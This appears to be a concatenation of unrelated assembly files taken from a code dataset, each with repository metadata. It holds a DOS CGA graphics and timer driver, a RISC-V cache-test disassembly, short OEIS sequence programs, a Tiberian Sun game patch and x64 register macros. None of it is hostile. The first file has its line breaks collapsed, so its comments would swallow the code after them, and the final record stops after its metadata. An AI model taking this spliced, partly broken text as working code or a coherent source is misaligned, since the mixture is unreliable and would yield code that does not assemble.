pc_timer dd pc_keypress dd pc_get_key cga_map label byte db 0, 1, 1, 1, 2, 2, 2, 3 db 0, 1, 1, 1, 2, 2, 2, 3 screen_buffer db 16000 dup (?) _DATA ends ;========================================================================= ; Code ;========================================================================= PCCGA_TEXT segment byte public 'CODE' ;------------------------------------------------------------------------- ; static void pc_timer () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_timer proc far push bp mov bp,sp @1@86: ; ; { ; static UINT32 cticks = 0; ; ; while (cticks == clock_ticks); ; mov ax,seg _clock_ticks mov es,ax mov ax,word ptr es:_clock_ticks+2 mov dx,word ptr es:_clock_ticks cmp ax,word ptr DGROUP:d@w+44+2 jne short @1@142 cmp dx,word ptr DGROUP:d@w+44 je short @1@86 @1@142: ; ; cticks = clock_ticks; ; mov ax,seg _clock_ticks mov es,ax mov ax,word ptr es:_clock_ticks+2 mov dx,word ptr es:_clock_ticks mov word ptr DGROUP:d@w+44+2,ax mov word ptr DGROUP:d@w+44,dx ; ; } ; pop bp ret pc_timer endp ;------------------------------------------------------------------------- ; int init_machine (int argc, char **argv) ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT _init_machine proc far push bp mov bp,sp @2@86: ; ; { ; gfx = &gfx_pccga; ; mov ax,seg _gfx mov es,ax mov word ptr es:_gfx+2,ds mov word ptr es:_gfx,offset DGROUP:gfx_pccga ; ; ; clock_count = 0; ; mov ax,seg _clock_count mov es,ax mov word ptr es:_clock_count+2,0 mov word ptr es:_clock_count,0 ; ; clock_ticks = 0; ; mov ax,seg _clock_ticks mov es,ax mov word ptr es:_clock_ticks+2,0 mov word ptr es:_clock_ticks,0 ; ; ; prev_08 = _dos_getvect (0x08); ; mov ax,8 push ax call far ptr __dos_getvect pop cx mov word ptr DGROUP:_prev_08+2,dx mov word ptr DGROUP:_prev_08,ax ; ; _dos_setvect (0x08, tick_increment); ; mov ax,seg _tick_increment push ax mov ax,offset _tick_increment push ax mov ax,8 push ax call far ptr __dos_setvect add sp,6 ; ; opt.cgaemu = TRUE; ; mov ax,seg _opt mov es,ax mov word ptr es:_opt+18,1 ; ; ; return err_OK; ; xor ax,ax ; ; } ; pop bp ret _init_machine endp ;------------------------------------------------------------------------- ; int deinit_machine () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT _deinit_machine proc far push bp mov bp,sp @3@86: ; ; { ; _dos_setvect (0x08, prev_08); ; push word ptr DGROUP:_prev_08+2 push word ptr DGROUP:_prev_08 mov ax,8 push ax call far ptr __dos_setvect add sp,6 ; ; ; return err_OK; ; xor ax,ax ; ; } ; pop bp ret _deinit_machine endp ;------------------------------------------------------------------------- ; static int pc_init_vidmode () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_init_vidmode proc far mov ax, 4 int 10h xor ax, ax ret pc_init_vidmode endp ;------------------------------------------------------------------------- ; static int pc_deinit_vidmode () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_deinit_vidmode proc far mov ax, 3 int 10h xor ax, ax ret pc_deinit_vidmode endp ;------------------------------------------------------------------------- ; static void pc_put_block (int x1, int y1, int x2, int y2) ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT ;screen_buffer db 16000 dup (?) pc_put_block proc far push bp mov bp,sp sub sp,16 push si push di mov si,word ptr [bp+8] ; y1 @6@86: ; ; { ; unsigned int i, h, w, p, p2; ; UINT8 far *fbuffer; ; UINT8 *sbuffer; ; ; if (x1 >= GFX_WIDTH) x1 = GFX_WIDTH - 1; ; cmp word ptr [bp+6],320 jl short @6@142 mov word ptr [bp+6],319 @6@142: ; ; if (y1 >= GFX_HEIGHT) y1 = GFX_HEIGHT - 1; ; cmp si,200 jl short @6@198 mov si,199 @6@198: ; ; if (x2 >= GFX_WIDTH) x2 = GFX_WIDTH - 1; ; cmp word ptr [bp+10],320 jl short @6@254 mov word ptr [bp+10],319 @6@254: ; ; if (y2 >= GFX_HEIGHT) y2 = GFX_HEIGHT - 1; ; cmp word ptr [bp+12],200 jl short @6@310 mov word ptr [bp+12],199 @6@310: ; ; ; y1 &= ~1; /* Always start at an even line */ ; and si,65534 ; ; ; h = y2 - y1 + 1; ; mov ax,word ptr [bp+12] sub ax,si inc ax mov word ptr [bp-2],ax ; ; w = (x2 - x1 + 1) / 4 + 1; ; mov cx,word ptr [bp+10] sub cx,word ptr [bp+6] inc cx shr cx, 1 shr cx, 1 inc cx mov word ptr [bp-4],cx ; ; p = 40 * y1 + x1 / 4; /* Note: (GFX_WIDTH / 4) * (y1 / 2) */ ; mov ax,si mov dx,40 imul dx mov dx,word ptr [bp+6] shr dx, 1 shr dx, 1 add dx,ax mov word ptr [bp-6],dx ; ; p2 = p + 40 * y1; ; mov ax,si mov dx,40 imul dx mov dx,word ptr [bp-6] add dx,ax mov word ptr [bp-8],dx ; ; ; /* Write to the interlaced CGA framebuffer */ ; ; fbuffer = (UINT8 far *)0xb8000000 + p; ; mov ax, 0b800h push ax pop es mov di,word ptr [bp-6] ; ; sbuffer = screen_buffer + p2; ; mov si, offset screen_buffer add si, word ptr [bp-8] ; ; for (i = 0; i < h; i += 2) { ; xor dx,dx jmp short @6@394 @6@338: ; ; _fmemcpy (fbuffer, sbuffer, w); ; push di push si mov cx, word ptr [bp-4] repz movsb pop si pop di ; ; fbuffer += 80; ; add di,80 ;word ptr [bp-12],80 ; ; sbuffer += 160; ; add si, 160 ;word ptr [bp-16],160 add dx,2 @6@394: cmp dx,word ptr [bp-2] jb short @6@338 ; ; } ; ; fbuffer = (UINT8 far *)0xb8002000 + p; ; mov di,word ptr [bp-6] add di,8192 ; ; sbuffer = screen_buffer + p2 + 80; ; mov si, offset screen_buffer add si, word ptr [bp-8] add si, 80 ; ; for (i = 1; i < h; i += 2) { ; mov dx,1 jmp short @6@506 @6@450: ; ; _fmemcpy (fbuffer, sbuffer, w); ; push di push si mov cx, word ptr [bp-4] repz movsb pop si pop di ; ; fbuffer += 80; ; add di, 80 ;word ptr [bp-12],80 ; ; sbuffer += 160; ; add si, 160 ;word ptr [bp-16],160 add dx, 2 @6@506: cmp dx,word ptr [bp-2] jb short @6@450 ; ; } ; } ; pop di pop si mov sp,bp pop bp ret pc_put_block endp ;------------------------------------------------------------------------- ; static void pc_put_pixels(int x, int y, int w, UINT8 *p) ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_put_pixels proc far push bp mov bp,sp sub sp,8 push si push di mov di, offset screen_buffer @7@86: ; ; { ; UINT8 *s, mask, val, shift, c; ; ; for (s = &screen_buffer[80 * y + x / 4]; w; w--, x++, p++) { ; mov ax, word ptr [bp+8] mov dx, 80 imul dx ; y * 80 mov dx, word ptr [bp+6] shr dx, 1 shr dx, 1 ; x / 4 add dx, ax ; 80 * y + x / 4 add di, dx jmp short condition @7@114: ; ; shift = (x & 3) * 2; ; mov cl,byte ptr [bp+6] and cl,3 shl cl,1 ; cl = shift ; ; ; /* Sorry, no transparent colors */ ; c = *p > 15 ? 0 : cga_map[*p]; ; les bx,dword ptr [bp+12] mov al,byte ptr es:[bx] cmp al,15 jbe short remap xor al, al ; al = color jmp short color_ok remap: mov bx, offset cga_map xlat ; al = color color_ok: ; ; ; mask = 0xc0 >> shift; ; mov dx,192 sar dx,cl ; dx = mask ; ; val = (c & 0x03) << (6 - shift); ; and al, 3 mov bl, cl mov cl, 6 sub cl, bl ; shl al, cl ; al = val ; ; *s = (*s & ~mask) | val; ; mov ch, byte ptr [di] not dl and ch, dl ; dl = !mask or al, ch mov byte ptr [di], al ; ; ; if ((x % 4) == 3) ; mov ax,word ptr [bp+6] and al, 3 cmp al,3 jne short @7@254 ; ; s++; ; ;inc word ptr [bp-4] inc di @7@254: dec word ptr [bp+10] ; w-- inc word ptr [bp+6] ; x++ inc word ptr [bp+12] ; p++ condition: mov ax, word ptr[bp+10] or ax,ax jne short @7@114 ; ; } ; } ; pop di pop si mov sp,bp pop bp ret pc_put_pixels endp ;------------------------------------------------------------------------- ; static int pc_keypress () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_keypress proc far ; { ; return !!kbhit(); ; call far ptr _kbhit ; ; } ; ret pc_keypress endp ;------------------------------------------------------------------------- ; static int pc_get_key () ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT pc_get_key proc far xor ax, ax int 16h or al, al jz high xor ah, ah high: ret pc_get_key endp ;------------------------------------------------------------------------- ; void __interrupt __far tick_increment (void) ;------------------------------------------------------------------------- assume cs:PCCGA_TEXT _tick_increment proc far push ax push bx push cx push dx push es push ds push si push di push bp mov bp,DGROUP mov ds,bp mov bp,sp ; ; { ; clock_ticks++; ; mov ax,seg _clock_ticks mov es,ax add word ptr es:_clock_ticks,1 adc word ptr es:_clock_ticks+2,0 ; ; _chain_intr(prev_08); ; push word ptr DGROUP:_prev_08+2 push word ptr DGROUP:_prev_08 call far ptr __chain_intr pop cx pop cx ; ; } ; pop bp pop di pop si pop ds pop es pop dx pop cx pop bx pop ax iret _tick_increment endp PCCGA_TEXT ends ;========================================================================= ; BSS ;========================================================================= _BSS segment word public 'BSS' _prev_08 label dword db 4 dup (?) _exec_name label dword db 4 dup (?) ?debug C E9 _BSS ends extrn _kbhit:far _cga_map equ cga_map _gfx_pccga equ gfx_pccga _pc_keypress equ pc_keypress _pc_get_key equ pc_get_key _pc_timer equ pc_timer _pc_put_pixels equ pc_put_pixels _pc_put_block equ pc_put_block _pc_deinit_vidmode equ pc_deinit_vidmode _pc_init_vidmode equ pc_init_vidmode public _tick_increment public _prev_08 extrn _gfx:dword extrn _clock_count:word extrn _clock_ticks:word public _exec_name extrn _opt:word public _deinit_machine public _init_machine extrn __dos_setvect:far extrn __dos_getvect:far extrn __chain_intr:far end
17.946401
74
0.496288
993f21bb41ab6633a8704bf729d083069db7dc39
1,635
asm
Assembly
src/test/cpp/raw/icache/build/icache.asm
cbrune/VexRiscv
4824827b7ed6331acfda1c2b0dd8c9fb7361cb96
[ "MIT" ]
1,524
2017-03-23T19:56:30.000Z
2022-03-31T10:23:27.000Z
src/test/cpp/raw/icache/build/icache.asm
cbrune/VexRiscv
4824827b7ed6331acfda1c2b0dd8c9fb7361cb96
[ "MIT" ]
234
2017-08-05T16:39:01.000Z
2022-03-25T09:57:00.000Z
src/test/cpp/raw/icache/build/icache.asm
cbrune/VexRiscv
4824827b7ed6331acfda1c2b0dd8c9fb7361cb96
[ "MIT" ]
283
2017-03-13T18:59:22.000Z
2022-03-31T11:19:31.000Z
build/icache.elf: file format elf32-littleriscv Disassembly of section .crt_section: 80000000 <_start>: 80000000: 00000097 auipc ra,0x0 80000004: 04c08093 addi ra,ra,76 # 8000004c <fail> 80000008 <test1>: 80000008: 00100e13 li t3,1 8000000c: 00100093 li ra,1 80000010: 00300113 li sp,3 80000014: 00208093 addi ra,ra,2 80000018: 02209a63 bne ra,sp,8000004c <fail> 8000001c <test2>: 8000001c: 00200e13 li t3,2 80000020: 01300093 li ra,19 80000024: 00000117 auipc sp,0x0 80000028: 02010113 addi sp,sp,32 # 80000044 <test2_trigger> 8000002c: 0040006f j 80000030 <test2_aligned> 80000030 <test2_aligned>: 80000030: 00112023 sw ra,0(sp) 80000034: 0000100f fence.i 80000038: 00800a13 li s4,8 8000003c: fffa0a13 addi s4,s4,-1 80000040: fe0a1ee3 bnez s4,8000003c <test2_aligned+0xc> 80000044 <test2_trigger>: 80000044: 0080006f j 8000004c <fail> 80000048: 0100006f j 80000058 <pass> 8000004c <fail>: 8000004c: f0100137 lui sp,0xf0100 80000050: f2410113 addi sp,sp,-220 # f00fff24 <pass+0x700ffecc> 80000054: 01c12023 sw t3,0(sp) 80000058 <pass>: 80000058: f0100137 lui sp,0xf0100 8000005c: f2010113 addi sp,sp,-224 # f00fff20 <pass+0x700ffec8> 80000060: 00012023 sw zero,0(sp) 80000064: 00000013 nop 80000068: 00000013 nop 8000006c: 00000013 nop 80000070: 00000013 nop 80000074: 00000013 nop 80000078: 00000013 nop ...
31.442308
73
0.629358
453107f11456583a4246631934ef6b0ce4270ee7
406
asm
Assembly
programs/oeis/001/A001353.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001353.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001353.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A001353: a(n) = 4*a(n-1) - a(n-2) with a(0) = 0, a(1) = 1. ; 0,1,4,15,56,209,780,2911,10864,40545,151316,564719,2107560,7865521,29354524,109552575,408855776,1525870529,5694626340,21252634831,79315912984,296011017105,1104728155436,4122901604639,15386878263120,57424611447841,214311567528244,799821658665135,2984975067132296 mov $2,1 lpb $0,1 sub $0,1 mul $3,2 add $2,$3 add $1,$2 mov $3,$1 lpe
33.833333
263
0.731527
92dae024b0562ff9ffff2661d21fe6823b67bd93
351
asm
Assembly
oeis/121/A121511.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/121/A121511.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/121/A121511.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A121511: a(n) = a(n-1) + a(n-4) - a(n-5). ; Submitted by Jon Maiga ; 1,5,13,25,5,9,17,29,9,13,21,33,13,17,25,37,17,21,29,41,21,25,33,45,25,29,37,49,29,33,41,53,33,37,45,57,37,41,49,61,41,45,53,65,45,49,57,69,49,53,61,73,53,57,65,77,57,61,69,81,61,65,73,85,65,69,77 mov $2,$0 mod $0,4 pow $0,2 mul $0,2 add $2,3 add $0,$2 div $0,4 mul $0,4 add $0,1
25.071429
197
0.60114
fd1afe8dad4096bc6d7d69c1ebd17282f79a540b
368
asm
Assembly
programs/oeis/102/A102391.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/102/A102391.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/102/A102391.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A102391: Evil numbers in evil places. ; 0,0,0,3,0,5,6,0,0,9,10,0,12,0,0,15,0,17,18,0,20,0,0,23,24,0,0,27,0,29,30,0,0,33,34,0,36,0,0,39,40,0,0,43,0,45,46,0,48,0,0,51,0,53,54,0,0,57,58,0,60,0,0,63,0,65,66,0,68,0,0,71,72,0,0,75,0,77,78,0,80,0,0,83,0,85 mov $1,$0 mov $3,$0 mov $4,$0 lpb $0,1 sub $0,1 div $4,2 sub $3,$4 lpe mov $2,$3 add $2,3 mod $2,2 mul $1,$2
23
211
0.576087
c737ac29f3110798dd78c431dfa0ebcaa74da2c4
482
asm
Assembly
programs/oeis/188/A188378.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/188/A188378.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188378.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A188378: Partial sums of A005248. ; 2,5,12,30,77,200,522,1365,3572,9350,24477,64080,167762,439205,1149852,3010350,7881197,20633240,54018522,141422325,370248452,969323030,2537720637,6643838880,17393796002,45537549125,119218851372,312119004990,817138163597,2139295485800,5600748293802,14662949395605,38388099893012,100501350283430,263115950957277,688846502588400,1803423556807922,4721424167835365 mov $2,9 lpb $0 sub $0,1 add $1,$2 add $2,$1 add $2,3 lpe div $1,3 add $1,2
37.076923
360
0.809129
c760424d20b225ba46da60f4744ef74ab238c69f
540
asm
Assembly
programs/oeis/038/A038179.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/038/A038179.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/038/A038179.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A038179: Result of second stage of sieve of Eratosthenes (after eliminating multiples of 2 and 3). ; 2,3,5,7,11,13,17,19,23,25,29,31,35,37,41,43,47,49,53,55,59,61,65,67,71,73,77,79,83,85,89,91,95,97,101,103,107,109,113,115,119,121,125,127,131,133,137,139,143,145,149,151,155,157,161,163,167,169,173,175,179,181,185,187,191,193,197,199,203,205,209,211,215,217,221,223,227,229,233,235,239,241,245,247,251,253,257,259,263,265,269,271,275,277,281,283,287,289,293,295 mov $1,$0 trn $0,2 mul $1,2 add $0,$1 div $0,2 mul $0,2 trn $0,1 add $0,2
45
363
0.705556
63711511e544d9181e02f2688f205ef30d4f3a91
1,067
asm
Assembly
src/spawner/build_off_ally.asm
mvdhout1992/ts-patches
a426970abeb6993eea6703d1a756fd74489ffed2
[ "MIT" ]
33
2016-07-30T14:17:28.000Z
2021-12-19T15:45:19.000Z
src/spawner/build_off_ally.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
73
2018-08-17T00:25:19.000Z
2021-05-10T08:31:15.000Z
src/spawner/build_off_ally.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
18
2017-05-16T11:28:06.000Z
2022-03-20T20:41:03.000Z
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" cglobal BuildOffAlly @LJMP 0x004762EA, _Build_Off_Ally section .bss BuildOffAlly resb 1 section .text ; returns 1 or 0 in EAX Is_Mutual_Ally: mov edx, [esp+4] mov eax, [esp+8] mov ecx, [HouseClassArray_Vector] ; HouseClassArray mov ecx, [ecx+4*edx] push edx push eax push eax call HouseClass__Is_Ally cmp al, 0 pop edx pop eax jz .Return_False mov ecx, [HouseClassArray_Vector] ; HouseClassArray mov ecx, [ecx+4*edx] push eax call HouseClass__Is_Ally cmp al, 0 jz .Return_False .Return_True: mov eax, 1 retn 8 .Return_False: mov eax, 0 retn 8 _Build_Off_Ally: mov ecx, [esp+0x38] cmp byte [BuildOffAlly], 1 jz .Check_Ally cmp [edx+20h], ecx jnz 0x476308 jmp 0x004762F3 .Check_Ally: push eax push ecx mov eax, dword [edx+0x20] push eax call Is_Mutual_Ally cmp eax, 0 pop eax jz 0x00476308 jmp 0x004762F3
13.857143
55
0.645736
b8dd1ba422e3428a040395b7c1070388a5ab7b03
9,731
asm
Assembly
Source/Lib/ASM_SSE2/x64inc.asm
Kagami/SVT-AV1
abb593edcc825e1b454a3c682fed58301c2a439f
[ "BSD-2-Clause-Patent" ]
1
2019-06-19T15:24:28.000Z
2019-06-19T15:24:28.000Z
Source/Lib/ASM_SSE2/x64inc.asm
Kagami/SVT-AV1
abb593edcc825e1b454a3c682fed58301c2a439f
[ "BSD-2-Clause-Patent" ]
null
null
null
Source/Lib/ASM_SSE2/x64inc.asm
Kagami/SVT-AV1
abb593edcc825e1b454a3c682fed58301c2a439f
[ "BSD-2-Clause-Patent" ]
1
2019-09-29T22:31:10.000Z
2019-09-29T22:31:10.000Z
; ; Copyright(c) 2019 Intel Corporation ; SPDX - License - Identifier: BSD - 2 - Clause - Patent ; %ifdef PREFIX %define mangle(x) _ %+ x %else %define mangle(x) x %endif %macro cglobal 1 %assign stack_offset 0 %xdefine %1 mangle(%1) global %1 %1: %endmacro %macro cextern 1 %xdefine %1 mangle(%1) extern %1 %endmacro %macro DECLARE_REG 7 %define r%1d %4 %define r%1w %5 %define r%1b %6 %define r%1 %3 %define arg%2 %7 %endmacro %macro DECLARE_PARAM 3 %define GET_PARAM_%1Q mov r%2, %3 %define GET_PARAM_%1D mov r%2d, dword %3 %define GET_PARAM_%1UXD mov r%2d, dword %3;GET_PARAM_%1D %define GET_PARAM_%1SXD movsxd r%2, dword %3 %define GET_PARAM_%1W mov r%2w, word %3 %define GET_PARAM_%1UXW movzx r%2, word %3 %define GET_PARAM_%1SXW movsx r%2, word %3 %define GET_PARAM_%1B mov r%2b, byte %3 %define GET_PARAM_%1UXB movzx r%2, byte %3 %define GET_PARAM_%1SXB movsx r%2, byte %3 %endmacro bits 64 %ifdef WIN64 %define num_arg_in_reg 4 %define num_volatile_reg 7 DECLARE_REG 0, 1, RCX, ECX, CX, CL, RCX DECLARE_REG 1, 2, RDX, EDX, DX, DL, RDX DECLARE_REG 2, 3, R8, R8D, R8W, R8B, R8 DECLARE_REG 3, 4, R9, R9D, R9W, R9B, R9 DECLARE_REG 4, 5, R10, R10D, R10W, R10B, [RSP+stack_offset+28h] DECLARE_REG 5, 6, R11, R11D, R11W, R11B, [RSP+stack_offset+30h] DECLARE_REG 6, 7, RAX, EAX, AX, AL, [RSP+stack_offset+38h] DECLARE_REG 7, 8, RSI, ESI, SI, NONE, [RSP+stack_offset+40h] DECLARE_REG 8, 9, RDI, EDI, DI, NONE, [RSP+stack_offset+48h] DECLARE_REG 9, 10, R12, R12D, R12W, R12B, [RSP+stack_offset+50h] DECLARE_REG 10, 11, R13, R13D, R13W, R13B, [RSP+stack_offset+58h] DECLARE_REG 11, 12, R14, R14D, R14W, R14B, [RSP+stack_offset+60h] DECLARE_REG 12, 13, R15, R15D, R15W, R15B, [RSP+stack_offset+68h] DECLARE_REG 13, 14, RBX, EBX, BX, BL, [RSP+stack_offset+70h] DECLARE_REG 14, 15, RBP, EBP, BP, NONE, [RSP+stack_offset+78h] DECLARE_REG 15, 16, RSP, ESP, SP, NONE, [RSP+stack_offset+80h] DECLARE_PARAM 5, 4, arg5 DECLARE_PARAM 6, 5, arg6 %elifdef UNIX64 %define num_arg_in_reg 6 %define num_volatile_reg 7 DECLARE_REG 0, 1, RDI, EDI, DI, DIL, RDI DECLARE_REG 1, 2, RSI, ESI, SI, SIL, RSI DECLARE_REG 2, 3, RDX, EDX, DX, DL, RDX DECLARE_REG 3, 4, RCX, ECX, CX, CL, RCX DECLARE_REG 4, 5, R8, R8D, R8W, R8B, R8 DECLARE_REG 5, 6, R9, R9D, R9W, R9B, R9 DECLARE_REG 6, 7, RAX, EAX, AX, AL, [RSP+stack_offset+ 8h] DECLARE_REG 7, 8, R10, R10D, R10W, R10B, [RSP+stack_offset+10h] DECLARE_REG 8, 9, R11, R11D, R11W, R11B, [RSP+stack_offset+18h] DECLARE_REG 9, 10, R12, R12D, R12W, R12B, [RSP+stack_offset+20h] DECLARE_REG 10, 11, R13, R13D, R13W, R13B, [RSP+stack_offset+28h] DECLARE_REG 11, 12, R14, R14D, R14W, R14B, [RSP+stack_offset+30h] DECLARE_REG 12, 13, R15, R15D, R15W, R15B, [RSP+stack_offset+38h] DECLARE_REG 13, 14, RBX, EBX, BX, BL, [RSP+stack_offset+40h] DECLARE_REG 14, 15, RBP, EBP, BP, NONE, [RSP+stack_offset+48h] DECLARE_REG 15, 16, RSP, ESP, SP, NONE, [RSP+stack_offset+50h] %define GET_PARAM_5Q %define GET_PARAM_5D %define GET_PARAM_5UXD %define GET_PARAM_5SXD movsxd r4, r4d %define GET_PARAM_5W %define GET_PARAM_5UXW movzx r4, r4w %define GET_PARAM_5SXW movsx r4, r4w %define GET_PARAM_5B %define GET_PARAM_5UXB movzx r4, r4b %define GET_PARAM_5SXB movsx r4, r4b %define GET_PARAM_6Q %define GET_PARAM_6D %define GET_PARAM_6UXD %define GET_PARAM_6SXD movsxd r5, r5d %define GET_PARAM_6W %define GET_PARAM_6UXW movzx r5, r5w %define GET_PARAM_6SXW movsx r5, r5w %define GET_PARAM_6B %define GET_PARAM_6UXB movzx r5, r5b %define GET_PARAM_6SXB movsx r5, r5b ; %define GET_PARAM_7Q mov r6, [rsp+8h] ; %define GET_PARAM_7D mov r6d, dword [rsp+8h] ; %define GET_PARAM_7UXD GET_PARAM_7D ; %define GET_PARAM_7SXD movsxd r6, dword [rsp+8h] ; %define GET_PARAM_7W mov r6w, word [rsp+8h] ; %define GET_PARAM_7UXW movzx r6, word [rsp+8h] ; %define GET_PARAM_7SXW movsx r6, word [rsp+8h] ; %define GET_PARAM_7B mov r6b, byte [rsp+8h] ; %define GET_PARAM_7UXB movzx r6, byte [rsp+8h] ; %define GET_PARAM_7SXB movsx r6, byte [rsp+8h] %endif %define GET_PARAM_7Q mov r6, arg7 %define GET_PARAM_7D mov r6d, dword arg7 %define GET_PARAM_7UXD GET_PARAM_7D %define GET_PARAM_7SXD movsxd r6, dword arg7 %define GET_PARAM_7W mov r6w, word arg7 %define GET_PARAM_7UXW movzx r6, word arg7 %define GET_PARAM_7SXW movsx r6, word arg7 %define GET_PARAM_7B mov r6b, byte arg7 %define GET_PARAM_7UXB movzx r6, byte arg7 %define GET_PARAM_7SXB movsx r6, byte arg7 %macro GET_PARAM_8Q 1 mov %1, arg8 %endmacro %macro GET_PARAM_8UXD 1 mov %1, dword arg8 %endmacro %macro GET_PARAM_8UXW 1 movzx %1, word arg8 %endmacro %macro GET_PARAM_8SXW 1 movsx %1, word arg8 %endmacro %macro GET_PARAM_8UXB 1 movzx %1, byte arg8 %endmacro %macro GET_PARAM_9Q 1 mov %1, arg9 %endmacro %macro GET_PARAM_9UXD 1 mov %1, dword arg9 %endmacro %macro GET_PARAM_9UXW 1 movzx %1, word arg9 %endmacro %macro GET_PARAM_9SXW 1 movsx %1, word arg9 %endmacro %macro GET_PARAM_9UXD_TO_MM 1 movd %1, arg9 %endmacro %macro GET_PARAM_9UXB 1 movzx %1, byte arg9 %endmacro %macro GET_PARAM_10Q 1 mov %1, arg10 %endmacro %macro GET_PARAM_10UXD 1 mov %1, dword arg10 %endmacro %macro GET_PARAM_10UXW 1 movzx %1, word arg10 %endmacro %macro GET_PARAM_10SXW 1 movsx %1, word arg10 %endmacro %macro GET_PARAM_10UXB 1 movzx %1, byte arg10 %endmacro %macro GET_PARAM_11SXW 1 movsx %1, word arg11 %endmacro %macro GET_PARAM_12Q 1 mov %1, arg12 %endmacro %macro GET_PARAM_12UXD 1 mov %1, dword arg12 %endmacro %macro GET_PARAM_12UXB 1 movzx %1, byte arg12 %endmacro %macro SUB_RSP 1 sub rsp, %1 %assign stack_offset stack_offset+%1 %endmacro %macro ADD_RSP 1 add rsp, %1 %assign stack_offset stack_offset-%1 %endmacro %macro PUSH_REG 1 %if %1 >= num_volatile_reg push r%1 %assign stack_offset stack_offset+8 %endif %endmacro %macro POP_REG 1 %if %1 >= num_volatile_reg pop r%1 %assign stack_offset stack_offset-8 %endif %endmacro %macro PUSH_REG_FORCE 1 push r%1 %assign stack_offset stack_offset+8 %endmacro %macro POP_REG_FORCE 1 pop r%1 %assign stack_offset stack_offset-8 %endmacro %macro GET_PARAM 1 %if %1 >= num_arg_in_reg mov r%1, [arg%1] %endif %endmacro %macro GET_PARAM_UXD 1 %if %1 >= num_arg_in_reg ; if 64-bit, higher half will be zero mov r %+ %1d, dword [arg%1] %endif %endmacro %macro GET_PARAM_SXD 1 %if %1 >= num_arg_in_reg %ifdef OS_64BIT movsxd r%1, dword [arg%1] %else mov r%1, [arg%1] %endif %endif %endmacro %macro XMM_SAVE 0 %ifdef WIN64 SUB_RSP 16 movdqu [rsp], xmm6 SUB_RSP 16 movdqu [rsp], xmm7 SUB_RSP 16 movdqu [rsp], xmm8 SUB_RSP 16 movdqu [rsp], xmm9 SUB_RSP 16 movdqu [rsp], xmm10 SUB_RSP 16 movdqu [rsp], xmm11 SUB_RSP 16 movdqu [rsp], xmm12 SUB_RSP 16 movdqu [rsp], xmm13 SUB_RSP 16 movdqu [rsp], xmm14 SUB_RSP 16 movdqu [rsp], xmm15 %endif %endmacro %macro XMM_RESTORE 0 %ifdef WIN64 movdqu xmm15, [rsp] ADD_RSP 16 movdqu xmm14, [rsp] ADD_RSP 16 movdqu xmm13, [rsp] ADD_RSP 16 movdqu xmm12, [rsp] ADD_RSP 16 movdqu xmm11, [rsp] ADD_RSP 16 movdqu xmm10, [rsp] ADD_RSP 16 movdqu xmm9, [rsp] ADD_RSP 16 movdqu xmm8, [rsp] ADD_RSP 16 movdqu xmm7, [rsp] ADD_RSP 16 movdqu xmm6, [rsp] ADD_RSP 16 %endif %endmacro %define NEED_EMMS 1
29.849693
88
0.538896
60f26be10be38f513d06991d36f78e8ad21834ac
440
asm
Assembly
oeis/099/A099448.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/099/A099448.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/099/A099448.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
